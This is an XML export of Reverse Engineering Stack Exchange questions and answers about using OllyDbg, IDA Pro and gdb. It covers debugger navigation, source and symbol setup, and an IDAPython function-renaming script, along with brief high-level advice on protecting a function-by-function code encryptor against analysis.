  <row Id="11866" PostTypeId="2" ParentId="11865" CreationDate="2016-01-28T05:08:35.377" Score="1" Body="&lt;p&gt;Instruction apply to both ollydbg 1.10 and ollydbg 2.01 unless otherwise noted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;select the module of interest viz helloworld.exe using &lt;kbd&gt; alt + E &lt;/kbd&gt; &#xA;right click  with selected module and &lt;kbd&gt; enter &lt;/kbd&gt; (view code in cpu)&#xA;and let ollydbg analyze the module using &lt;kbd&gt; ctrl + A &lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then use &lt;kbd&gt;ctrl+g&lt;/kbd&gt; goto &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;type [modname].main without the SQ brackets&lt;/code&gt; in the edit box / list box&lt;br&gt;&#xA;&lt;code&gt;ollydbg 2.01&lt;/code&gt; select from the drop down list and follow expression&lt;br&gt;&#xA;&lt;code&gt;ollydbg 1.10&lt;/code&gt; hit ok     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will be on the main function&lt;br&gt;&#xA;and ollydbg will show your main correctly annotated&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RJeZA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RJeZA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;further fine tuning can also be done&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;comments pane can be cycled&lt;/code&gt; through &lt;code&gt;comments and source&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;right click-&amp;gt;appearance-&amp;gt;show bar&lt;/code&gt; .&lt;br&gt;&#xA;click on the bar to cycle through source , comments , profile&lt;br&gt;&#xA;if you have built your executable with debug info in ollydbg will show the correct source line with respect to disassembly       &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also setup the display of disasm using&lt;br&gt;&#xA;&lt;kbd&gt; ctrl+o &lt;/kbd&gt;&lt;br&gt;&#xA;and check marking appropriate boxes that correspond to&lt;br&gt;&#xA;Show Symbolic names , Show Module Names , etc&lt;br&gt;&#xA;(explore and decide for your self what suits you)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as to understanding the crt function that lead to your actual code &#xA;install some version of visual studio and look at the actual sources in crt folder and setup the src folder directory structure for ollydbg to pull them up and show it side by side in the comments pane &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what you mean ollydbg does not recognize functions like ida &#xA;though Ida has flair (pre collated information in the form of signatures to standard code ) ollydbg does a decent job in annotating functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;since you say you compiled it have you enabled debug information to be generated while compiling (/Zi switch if you compile it visual c++ compilers from microsoft ) look for similar switches if you compiled it from other compilers  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you compiled it with visual studio then you should have a copy of crt function in the folder (c:\progxxx\mic&lt;em&gt;vis&lt;/em&gt;\xxx\crt) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the original location for these src files for visual studio 2010 express is f:\dd ( if you dont have a partition named f use mount , if you have a drivepath f occupied by other devices like cdrom use diskmgmt.msc to change the drive letter put a removable disk use dismgmt.msc to change the drive letter to F: for that removable disk and copy paste the sources to that drive ollydbg will automatically pull it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the udl feature is not for import libraries.&lt;br&gt;&#xA;import library does not contain the object data &lt;/p&gt;&#xA;&#xA;&lt;p&gt;header files are text file and they are equally of no use while doing binary analysis &lt;/p&gt;&#xA;&#xA;&lt;p&gt;lat but not least there are several plugins that can import the ida signatures into ollydbg &#xA;one such is idasig / or godup plugin look at tuts4you.com you might find &#xA;hundreds of plugins for ollydbg&#xA;in ida produce -&gt; map file and import the map file using these plugins &lt;/p&gt;&#xA;&#xA;&lt;p&gt;have you setup options -&gt; code -. check marks pertaining to show local , show symbolic address etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a screen shot of ollydbg showing the source for printf function &#xA;&lt;a href=&quot;https://i.stack.imgur.com/7L2wS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7L2wS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-01-29T05:08:15.640" LastActivityDate="2016-01-29T05:08:15.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11868" PostTypeId="1" AcceptedAnswerId="11871" CreationDate="2016-01-28T08:08:27.503" Score="5" ViewCount="2150" Body="&lt;p&gt;I'm trying to learn how to use the IDA pro debugger (having used Visual Studio's C++ debugger for years) and I'm struggling to find how to switch the code/asm view back to the current instruction that debugger broke on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar to the &quot;Show next statement&quot; button in Visual Studio:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IlPpw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IlPpw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. Here's my situation. Say, I broke on some instruction and then using IDA's &quot;graph view&quot; navigated away from that instruction. How do I go back?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2016-01-28T09:02:08.890" Title="What is the command to &quot;go to current statement&quot; in IDA debugger?" Tags="|ida|windows|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11869" PostTypeId="1" AcceptedAnswerId="11870" CreationDate="2016-01-28T08:15:07.547" Score="5" ViewCount="6422" Body="&lt;p&gt;I'm just learning the IDA pro debugger, so I apologize if this is something simple. Say, if I opened a debugee process and started stepping through it with a debugger (WinDbg) and then want to look up the contents of memory. How do I change the address in the hex view pane?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Circled in red in this screenshot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H5OTp.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H5OTp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2016-01-28T08:55:38.700" Title="How to change address in the hex view in IDA debugger?" Tags="|ida|windows|debugging|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11870" PostTypeId="2" ParentId="11869" CreationDate="2016-01-28T08:54:27.330" Score="8" Body="&lt;p&gt;Click on the hex view plane and press &lt;kbd&gt;G&lt;/kbd&gt; to change the address.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastEditorUserId="2318" LastEditDate="2016-01-28T08:55:38.700" LastActivityDate="2016-01-28T08:55:38.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11871" PostTypeId="2" ParentId="11868" CreationDate="2016-01-28T09:02:08.890" Score="7" Body="&lt;p&gt;You can navigate back to the previous position simply by pressing &lt;kbd&gt;ESC&lt;/kbd&gt;. If you want to back to the current IP address, just press the right mouse button a select &lt;kbd&gt;Jump to IP&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZcBC1.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZcBC1.png&quot; alt=&quot;Jump To IP&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can press &lt;kbd&gt;G&lt;/kbd&gt; and set &lt;code&gt;EIP&lt;/code&gt; as address.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-01-28T09:02:08.890" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11872" PostTypeId="1" CreationDate="2016-01-28T09:12:23.703" Score="0" ViewCount="245" Body="&lt;p&gt;Imagine you are working in a kind of crypter that only works with the current function deciphered, rest of the code is ciphered by symmetric encryption. When a new function is about to be called, the current function is enciphered and the following is deciphered and called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My assumption is that a analyst can easily dump the deciphered code (real code) each time a function is called, due to is the unique time where code is leaked/deciphered. Also, an analyst could easily repatch the executable in order to extract the protection, but it would need the symmetric key, once he has it, he just has to remove the encryption/decryption blocks and decipher the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question here is: How can I implement a secure system that accomplish:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Key management without leaking the key, or protecting it from being retrieved. (So the executable isn't patched for removing crypter's protection).&lt;/li&gt;&#xA;&lt;li&gt;Avoid dumping per deciphered function. (Thus the analyst wouldn't dump the whole executable's deciphered code just dumping deciphered functions in runtime).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It would be great to read some advices. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12893" LastActivityDate="2016-01-28T09:30:21.393" Title="How would you protect this Crypter?" Tags="|binary-analysis|encryption|cryptography|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11873" PostTypeId="2" ParentId="11872" CreationDate="2016-01-28T09:30:21.393" Score="1" Body="&lt;p&gt;There is a thing that might help you in modern crypto research, it is called white-box cryptography and relatively good Q&amp;amp;A article resides &lt;a href=&quot;http://joye.site88.net/papers/Joy08whitebox.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; .&lt;/p&gt;&#xA;&lt;p&gt;Generally speaking if the key exists sometimes in the memory you can safely assume that sometimes it will be dumped and reused.&lt;/p&gt;&#xA;&lt;p&gt;However you can harden the problem by using the following techniques:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Obfuscate the key (compute them on the fly)&lt;/li&gt;&#xA;&lt;li&gt;Obfuscate the encryption/decryption algorithm&lt;/li&gt;&#xA;&lt;li&gt;Use different keys for different functions&lt;/li&gt;&#xA;&lt;li&gt;Re-encrypting the function back may be done with different keys&lt;/li&gt;&#xA;&lt;li&gt;Use checksums for verification of encrypted code before usage&lt;/li&gt;&#xA;&lt;li&gt;Use Intel SGX or similar features of other processors to avoid debugging&lt;/li&gt;&#xA;&lt;li&gt;Use anti-debugging and anti-dumping techniques&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-01-28T09:30:21.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11874" PostTypeId="1" AcceptedAnswerId="11875" CreationDate="2016-01-28T12:44:24.300" Score="7" ViewCount="9329" Body="&lt;p&gt;I have a text file which contains a list of function name and address pairs, structured like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;194C:841B LoadMessage&#xA;194C:8429 ShowDialog&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way (eg: script, automation, ...) to automatically rename all relation functions of the IDA disassembly according the text file ?&lt;/p&gt;&#xA;" OwnerUserId="14570" LastActivityDate="2016-01-28T13:39:49.220" Title="How to automatically rename some IDA functions from a given list?" Tags="|ida|idapython|automation|script|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11875" PostTypeId="2" ParentId="11874" CreationDate="2016-01-28T13:33:50.347" Score="5" Body="&lt;p&gt;This way to automate things called IDAPython, its documentation is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Save this script somewhere, remember where.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Not used, not debbugged, not ran even once&#xA;#Use on your own risk, beware errors&#xA;&#xA;import idaapi&#xA;import idautils&#xA;import idc&#xA;&#xA;def do_rename(l):&#xA;    splitted = l.split()&#xA;    straddr = splitted[0]&#xA;    strname = splitted[1].replace(&quot;\r&quot;, &quot;&quot;).replace(&quot;\n&quot;, &quot;&quot;)&#xA;&#xA;    if straddr.find(&quot;:&quot;) != -1: #assuming form segment:offset&#xA;        #removing segment, offset should be unique, if it isn't so, we should handle it differently&#xA;        straddr = straddr.split(&quot;:&quot;)[1]&#xA;&#xA;    eaaddr = int(straddr, 16)&#xA;    idc.MakeCode(eaaddr)&#xA;    idc.MakeFunction(eaaddr)&#xA;    idc.MakeNameEx(int(straddr, 16), strname, idc.SN_NOWARN)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    f = open( &quot;your_file_name&quot;, &quot;r&quot;)&#xA;    for l in f:&#xA;        do_rename(l)&#xA;    f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In IDA, open File--&gt;Script file, chose the script and run it.&#xA;Note that you should insert your file name and verify that the address is converted well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it gives some kind of direction.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-01-28T13:39:49.220" LastActivityDate="2016-01-28T13:39:49.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11876" PostTypeId="1" AcceptedAnswerId="11907" CreationDate="2016-01-28T21:31:46.010" Score="2" ViewCount="862" Body="&lt;p&gt;Is there any way to call a function on a remote target that's attached via JTAG? Currently I have OpenOCD hooked up to a target and I'm attached with gdb, and I know the address of the function I want to call as well as its signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a normal binary and gdb, the following (somewhat surprisingly) works. Supposing I have a function like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static int f(int x) {&#xA;    printf(&quot;The value of x is %d\n&quot;, x);&#xA;    return x*2;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can run that function, even in a stripped binary, under gdb, as long as I know its address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cosimo:~ moyix$ gdb -q --args ./hello &#xA;Reading symbols from ./hello...(no debugging symbols found)...done.&#xA;(gdb) break *0x100000ee0&#xA;Breakpoint 1 at 0x100000ee0&#xA;(gdb) r&#xA;Starting program: /Users/moyix/hello &#xA;&#xA;Breakpoint 1, 0x0000000100000ee0 in _mh_execute_header ()&#xA;(gdb) call (0x100000f20)(10)&#xA;The value of x is 10&#xA;$1 = 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But trying to do something similar with gdb hooked up to OpenOCD gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;moyix@dev:~/git/openocd-code$ arm-none-eabi-gdb -q&#xA;(gdb) target remote localhost:3333&#xA;Remote debugging using localhost:3333&#xA;0x8006b06c in ?? ()&#xA;(gdb) call (0xC0066E08)(0x10000, 4, 0, 0, 0)&#xA;Entry point address is not known.&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I gather from a bit of googling that it's because &lt;a href=&quot;https://stackoverflow.com/questions/14549440/gdb-function-entry-point-not-known&quot;&gt;gdb wants somewhere to place its dummy stack frame&lt;/a&gt;, and since it has no symbol information or even an entry point for the binary it doesn't know where to put it. Is there any way to manually give it a location for its dummy frame (with the hope that it'll put things back the way they were once the function executes...)?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-07-15T16:30:54.493" Title="Call function in remote (OpenOCD) target from gdb" Tags="|gdb|jtag|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11878" PostTypeId="2" ParentId="11857" CreationDate="2016-01-29T02:00:24.227" Score="0" Body="&lt;p&gt;here is the example how Hex-Rays decompile pointers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* The computational routine */&#xA;extern &quot;C&quot; __declspec(dllexport) void myfun2 (double x, double *y, double *z, int n)&#xA;{&#xA;    int i;&#xA;    /* multiply each element y by x */&#xA;    for (i=0; i&amp;lt;n; i++) {&#xA;        z[i] = x * y[i];&#xA;    }&#xA;}&#xA;&#xA;&#xA;/*&#xA;int __cdecl myfun2(double a1, int a2, int a3, int a4)&#xA;{&#xA;  int result; // eax@3&#xA;  int i; // [sp+0h] [bp-4h]@1&#xA;&#xA;  for ( i = 0; i &amp;lt; a4; ++i )&#xA;  {&#xA;    *(double *)(a3 + 8 * i) = a1 * *(double *)(a2 + 8 * i);&#xA;    result = i + 1;&#xA;  }&#xA;  return result;&#xA;}&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so clearly pointer variables are converted to int, it means that casting double * -&gt; int must be done as a2 and a3 are used to access the array. For proper casting i used (uintptr_t)buffer&lt;/p&gt;&#xA;" OwnerUserId="14846" LastEditorUserId="14846" LastEditDate="2016-01-29T03:37:10.737" LastActivityDate="2016-01-29T03:37:10.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11880" PostTypeId="2" ParentId="11865" CreationDate="2016-01-29T09:20:51.707" Score="0" Body="&lt;p&gt;Slightly different than what I wanted (recognize LIBC/CRT in Olly) is to look at the graph in IDA.  At first it seemed daunting with all the functions shown (see frightening picture below, my main() is the black box labelled '_main').  Note my program is a single call to printf(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pg0Gd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pg0Gd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then after reading IDA's tutorial &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/graphs.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; I see I can use the &lt;a href=&quot;https://i.stack.imgur.com/zEl4v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zEl4v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; button &quot;display graph of xrefs specified by user&quot; and turning on the checkbox &quot;From Library Functions&quot; under &quot;Ignore&quot; then it draws a much simpler tree:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UVsVq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UVsVq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can see now how to easily distinguish application code from the C lib and startup functions, at least in IDA.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Ollydbg, Blabb's answer shows how to do it with PDB files, now I want to try to do it without debug or a .PDB file.&lt;/p&gt;&#xA;" OwnerUserId="14858" LastActivityDate="2016-01-29T09:20:51.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11881" PostTypeId="2" ParentId="11660" CreationDate="2016-01-29T14:52:42.627" Score="4" Body="&lt;p&gt;In case anyone has same question, here is how I solved it : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I exported all debug symbol information to a text file, using TDUMP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TDUMP somefile.exe &amp;gt; 1.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) I cleaned the txt file to keep only useful information : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Function name] + [Address]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) I imported the file back to IDA using a python script : &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11874/how-to-automatically-rename-some-ida-functions-from-a-given-list&quot;&gt;see here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14570" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-01-29T14:52:42.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11882" PostTypeId="1" CreationDate="2016-01-29T15:45:31.393" Score="1" ViewCount="448" Body="&lt;p&gt;Is it possible to create empty idb file using idapython?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intention is to use it afterwards to populate with several binary code blobs and run some analysis on the resulting idb file and all this using idapython.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2016-01-30T12:32:46.847" Title="How to create empty IDB file with IDApython?" Tags="|ida|idapython|automation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11888" PostTypeId="1" CreationDate="2016-01-30T01:05:32.930" Score="5" ViewCount="1814" Body="&lt;p&gt;I am bring a .EXE, a .PDB, and a source code .C file into my computer and attempting to look at my program in Ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am compiling C programs on one machine (XP Vm actually) and running them in Ollydbg 2.01 in Windows 7 on another machine.  I want to look at Release code, so I set the compile and link options as described in &lt;a href=&quot;http://www.wintellect.com/devcenter/jrobbins/correctly-creating-native-c-release-build-pdbs&quot; rel=&quot;noreferrer&quot;&gt;link&lt;/a&gt;.  And so I have a 'prog.exe' and 'prog.pdb' in Win7 where Ollydbg is.  I can launch prog.exe in Ollydbg and I see the labels for main() and my other functions, and can go to them with the &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; &quot;Enter Expression to Follow&quot; dialog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I like to also see the associated source code line, to be able to see it below the code in the CPU window, and to be able to double-click and open the source code .C file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But unless I recreate the entire same directory path in my Win7 (Olly) computer Olly can't get at this source code (even though it sees the label names for code blocks).  I've spent some time looking through the settings in both Visual Studio (6 for me) to try not have absolute paths, and Olly to change where it looks.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="14858" LastEditorUserId="2147" LastEditDate="2016-10-26T21:52:37.710" LastActivityDate="2018-06-19T07:34:55.287" Title="In Ollydbg, how do I change the path to a source code file without recreating entire directory structure?" Tags="|ollydbg|c|pdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11889" PostTypeId="1" AcceptedAnswerId="11890" CreationDate="2016-01-30T01:38:43.957" Score="1" ViewCount="489" Body="&lt;p&gt;I'm trying to interpret some contents of memory, it would be nice to decode contents of the lower left window in Olly (memory hex dump).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A specific example is a char** array.  Specifically char *argv[].  argv is a pointer to an array of pointers, each of which is the beginning of a string.  Here I have 3 arguments to my program, so including the path and exe name that makes argc=4 as I enter main(int argc, char *argv[]).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image below I graphically show argv=0x0041 0E80 from where we see 4 32-bit values in memory, each is a pointer to the beginning of strings argv[0], argv&lt;a href=&quot;https://i.stack.imgur.com/9QQDr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;, argv[2], and argv[3] (sorry about red line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9QQDr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9QQDr.png&quot; alt=&quot;hexdump window in Olly (sorry about red line)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I select the 4 bytes at 00410EA0, or those 16 bytes starting at 00410EA8 and right-click in this hex-dump window of Olly (lower left quadrant) I'd like to bring up a list of strings.  I see there are options to decode as structures and pointer to structure, so I would think there would be something simpler for arrays and arrays of strings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14858" LastActivityDate="2016-01-30T06:51:37.117" Title="List arrays (de-reference pointers) in Ollydbg" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11890" PostTypeId="2" ParentId="11889" CreationDate="2016-01-30T06:51:37.117" Score="3" Body="&lt;p&gt;right click in the dump pane -&gt; integer -&gt; address with ascii/unicode dump&lt;/p&gt;&#xA;&#xA;&lt;p&gt;src , execution , and screen shot below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;multiargs.exe I Me You We Us Them&#xA;&#xA;arg 00 = multiargs.exe&#xA;arg 01 = I&#xA;arg 02 = Me&#xA;arg 03 = You&#xA;arg 04 = We&#xA;arg 05 = Us&#xA;arg 06 = Them&#xA;&#xA;ollydbg.exe multiargs.exe I Me You We Us Them&#xA;&#xA;type multiargs.cpp&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int main (int argc , char *argv[]) {&#xA;        for (int i=0;i&amp;lt;argc;i++){&#xA;                printf(&quot;arg %02d = %s\n&quot;,i,argv[i]);&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mWDJM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mWDJM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-01-30T06:51:37.117" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11891" PostTypeId="2" ParentId="11888" CreationDate="2016-01-30T07:13:20.390" Score="1" Body="&lt;p&gt;pdb is self contained so you can drag and drop it and the debugger can utilize it&lt;br&gt;&#xA;but src files are just path references&lt;br&gt;&#xA;either relative or absolute paths&lt;br&gt;&#xA;so either you have to copy them to a local directory&lt;br&gt;&#xA;(think about feasibility of this with a project that has thousands of src files) or&lt;br&gt;&#xA;set up the directory structure ( a bit easier if you did not compile in c:\ :) )&lt;br&gt;&#xA;diskmgmt.msc wont let you change the drive letter for system boot partition )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you were on a partition other than system boot partition&lt;br&gt;&#xA;simply dump the directory from base to a removable drive and change the drive letter &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or learn a bit of windbg's environment variables _NT_SOURCE_PATH , _NT_SYMBOL_PATH ,  and let ollydbg use the symsrv.dll from windbg directory &lt;/p&gt;&#xA;&#xA;&lt;p&gt;look at &#xA;options -&gt; debugging data -&gt; tab&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-01-30T07:13:20.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11892" PostTypeId="1" AcceptedAnswerId="11896" CreationDate="2016-01-30T09:11:25.887" Score="3" ViewCount="3057" Body="&lt;p&gt;Is it possible to somehow copy/paste sections of data in the hex dump, or lines of code in the code (top left in CPU window disassembly window)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: cloning a function, and then making some changes.  Another example, copying a section of code that puts arguments on the stack and then calls a function like opening a messagebox, i.e. copying some 4-5 lines.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can double click in the code (disassembly) window in the &quot;command&quot; column to open the &quot;assemble&quot; dialog, copy the text (such as CALL 004026F8), then close it (without changing this instruction) then go to some NOP's or 0's or something, double clicking (&quot;command&quot; column again) to open the assembly dialog again and pasting it in.  This is ok for one or two instructions, but it would be nice if I could just select several lines and copy/paste them at once.  Or if I could do it in the hex dump window by copying just bytes instead of lines of code.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the &quot;binary copy&quot; and &quot;binary paste&quot; in the hex dump window but they only do it for one byte, not a selected region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see in some videos people noting down addresses and running a separate hex editor program just to do this type of operation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, by selecting a region of data in the hex dump, one can right-click &quot;Open in separate dump window&quot; to open a window containing just this, and then write this selected data out to a file &lt;a href=&quot;https://stackoverflow.com/questions/34341726/how-to-dump-memory-into-raw-file-in-ollydbg/3437098&quot;&gt;link&lt;/a&gt;.  And one can bring in .bin files (not by File-Open but by drag and dropping them in) to a window also.  But I can't see how to copy more than one byte at a time between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm almost embarrassed to ask this question, but I like Olly and want to be a &quot;power-user&quot;.&lt;/p&gt;&#xA;" OwnerUserId="14858" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-06-03T02:17:42.220" Title="copy/pasting sections of code or hex in Ollydbg" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
